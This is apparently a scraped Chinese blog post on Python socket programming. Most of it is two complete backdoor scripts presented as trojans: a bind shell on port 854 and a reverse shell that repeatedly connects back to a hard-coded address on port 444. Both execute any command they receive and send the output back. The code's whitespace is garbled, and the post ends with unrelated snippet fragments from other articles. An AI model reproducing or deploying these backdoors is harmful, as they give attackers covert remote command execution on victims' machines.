懶得解釋怎麼寫出來的,直接上**
client: 簡單連線伺服器
server: 單執行緒,長久監聽服務,長連線,會話先進先出排隊原則
server: 多執行緒,長久監聽服務,長連線,同步處理會話
backdoor: 結合命令執行製作後門木馬(正向)
#!/usr/bin/python#coding:utf-8importsocket
importsys
importcommands
from thread import *host = ''port = 854s =socket.socket(socket.af_inet, socket.sock_stream)
s.bind((host, port))
s.listen(10)
defclientthread(conn):
conn.send("welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("demon_backdoor# ")
data = conn.recv(1024)
ifdata:
cmd = data.strip("\n")
code,res =commands.getstatusoutput(cmd)
if code ==0 :
conn.sendall(res+"\n")
else:
print "[-]error: code",code
data = ""
else:
breakconn.close()
while 1:
conn, addr =s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,))
s.close()
backdoor: **shell(反向)
#!/usr/bin/python#coding:utf-8importsocket
importsys
importcommands
from time importsleep
from thread import *host = "192.168.10.24"port = 444
defclientthread(s):
globalisconnect
s.send("welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
s.send("demon_backdoor# ")
data = s.recv(1024)
ifdata :
cmd = data.strip("\n")
code,res =commands.getstatusoutput(cmd)
if code ==0 :
s.sendall(res+"\n")
else:
print "[-]error: code",code
data = ""
else:
break
while 1:
try:
s =socket.socket(socket.af_inet, socket.sock_stream)
s.connect((host, port))
print "[+] connecting" , host + ":", port
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)
**指明出處:
Python Socket 程式設計
client import socket,sys if name main 處理引數 argv sys.argv if len argv 3 or len argv 2 and argv 1 print useage argv 0 sys.exit 0 host argv 1 server ip位址...
python socket程式設計
python 編寫server的步驟 1.第一步是建立socket物件。呼叫socket建構函式。如 socket socket.socket family,type family引數代表位址家族,可為af inet或af unix。af inet家族包括internet位址,af unix家族用於...
python socket程式設計
客戶端 author lenovo fromsocketimport host localhost port 2157 bufsize 1024 addr host,port tcpclient socket af inet,sock stream tcpclient.connect addr wh...